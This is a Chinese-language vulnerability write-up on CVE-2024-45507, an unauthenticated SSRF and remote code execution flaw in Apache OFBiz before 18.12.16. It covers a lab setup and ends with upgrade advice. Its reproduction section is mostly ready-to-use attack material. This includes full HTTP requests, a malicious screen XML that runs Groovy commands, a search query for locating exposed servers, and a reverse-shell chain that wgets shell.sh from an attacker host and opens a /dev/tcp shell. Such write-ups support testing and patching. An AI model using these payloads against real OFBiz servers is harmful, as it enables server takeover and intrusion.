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131 lines
3.8 KiB
Markdown
131 lines
3.8 KiB
Markdown
# Apache OFBiz SSRF 和远程代码执行漏洞 CVE-2024-45507
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## 漏洞描述
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Apache OFBiz 是一个开源企业资源规划（ERP）系统。它提供了一套企业应用程序，集成并自动化企业的许多业务流程。
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Apache OFBiz 18.12.16 之前的版本存在一处 SSRF 与远程命令执行漏洞，未经身份验证的攻击者可以利用该漏洞执行任意命令并控制服务器。
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参考链接：
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- https://github.com/apache/ofbiz-framework/commit/ffb1bc4879
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- https://xz.aliyun.com/t/15569
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- https://paper.seebug.org/3228/
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## 漏洞影响
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```
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Apache OFBiz < 18.12.16
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```
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## 网络测绘
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```
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app="Apache_OFBiz"
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```
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## 环境搭建
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Vulhub 执行如下命令启动一个 Apache OfBiz 18.12.15 服务器：
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```
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docker compose up -d
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```
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在等待数分钟后，访问 `https://your-ip:8443/accounting` 查看到登录页面，说明环境已启动成功。
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如果非本地 localhost 启动，Headers 需要包含 `Host: localhost`，否则报错：
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```
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ERROR MESSAGE
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org.apache.ofbiz.webapp.control.RequestHandlerException: Domain your-ip not accepted to prevent host header injection.
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```
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## 漏洞复现
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### SSRF 漏洞
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向 `/webtools/control/forgotPassword/StatsSinceStart` 发送以下 POST 请求即可：
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```
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POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
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Host: your-ip:8443
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 64
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statsDecoratorLocation=http://10.10.10.10/path/to/api
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```
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## 远程代码执行漏洞
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首先在服务器 `<attacker-ip>` 上部署恶意 XML 文件 payload.xml：
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
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xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
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<screen name="StatsDecorator">
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<section>
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<actions>
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<set value="${groovy:'touch /tmp/awesome_poc'.execute();}"/>
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</actions>
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</section>
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</screen>
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</screens>
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```
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然后将恶意 XML 的 URL 替换进请求中发送：
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```
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POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
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Host: localhost:8443
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 64
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statsDecoratorLocation=http://<attacker-ip>/payload.xml
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```
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命令 `touch /tmp/awesome_poc` 已经被成功执行：
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reverse shell payload：
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```
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# 1. 在服务器 <attcker-ip> 托管 shell.sh：
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echo "/bin/bash -i >& /dev/tcp/<attcker-ip>/8888 0>&1" > shell.sh
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# 2. 发送第一个数据包。在服务器 <attcker-ip> 托管 payload.xml，下载 shell.sh：
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<actions>
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<set value="${groovy:'wget <attcker-ip>/shell.sh'.execute();}"/>
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</actions>
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# 3. 发送第二个数据包。在服务器 <attcker-ip> 托管 payload.xml，执行shell.sh：
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<actions>
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<set value="${groovy:'bash shell.sh'.execute();}"/>
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</actions>
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```
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## 漏洞修复
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升级至 18.12.16 及以上版本。
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